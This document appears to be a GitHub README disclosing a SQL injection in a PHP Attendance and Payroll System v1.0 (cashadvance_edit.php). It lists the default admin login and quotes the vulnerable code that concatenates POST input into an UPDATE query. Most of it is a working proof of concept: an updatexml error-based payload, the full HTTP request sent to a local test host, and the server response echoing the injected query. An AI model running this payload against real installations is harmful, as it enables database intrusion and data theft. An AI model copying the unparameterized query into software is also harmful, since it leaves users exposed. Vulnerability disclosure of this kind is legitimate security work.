debug601 Create README.md History

1 contributor

36 lines (26 sloc) | 1.48 KB

# Attendance and Payroll System v1.0 - SQL injection

username:nurhodelta password:password ----> {ip}apsystem/admin/index.php

Supplier： https://www.sourcecodester.com/php/12268/attendance-and-payroll-system-using-php.html

\admin\cashadvance_edit.php has SQL injection

Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&amount=1000&edit=

SQL injection because id can be closed

cashadvance_edit.php

```php
<?php
    include 'includes/session.php';

    if(isset($_POST['edit'])){
        $id = $_POST['id'];
        $amount = $_POST['amount'];

        $sql = "UPDATE cashadvance SET amount = '$amount' WHERE id = '$id'";
        echo $sql;
        if($conn->query($sql)){
            $_SESSION['success'] = 'Cash advance updated successfully';
        }
        else{
            $_SESSION['error'] = $conn->error;
        }
    }
    else{
        $_SESSION['error'] = 'Fill up edit form first';
    }

    header('location:cashadvance.php');

?>
```

```
POST /apsystem/admin/cashadvance_edit.php HTTP/1.1
Host: 192.168.1.17
Content-Length: 83
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.17
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Referer: http://192.168.1.17/apsystem/admin/cashadvance.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2nud4pa7qt6oo5odl3120a4bta
Connection: close

id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&amount=1000&edit=
```

**Request**

Raw | Params | Headers | Hex

```
Host: 192.168.1.17
Content-Length: 83
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.17
Content-Type:
application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows
NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/99.0.4844.74
Safari/537.36
Accept:
text/html,application/xhtml+xml,a
pplication/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,ap
plication/signed-exchange;v=b3;q=
0.9
Referer:
http://192.168.1.17/apsystem/admi
n/cashadvance.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
PHPSESSID=2nud4pa7qt6oo5odl3120a4
bta
Connection: close

id=2' and
updatexml(1,concat(0x7e,(select
database()),0x7e),0)--+&amount=10
00&edit=
```

**Response**

Raw | Headers | Hex

```
HTTP/1.1 302 Found
Date: Mon, 21 Mar 2022 12:15:51 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.1
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: cashadvance.php
Content-Length: 114
Connection: close
Content-Type: text/html; charset=UTF-8

UPDATE cashadvance SET amount = '1000' WHERE id = '2' and updatexml(1,concat(0x7e,(select
database()),0x7e),0)-- '
```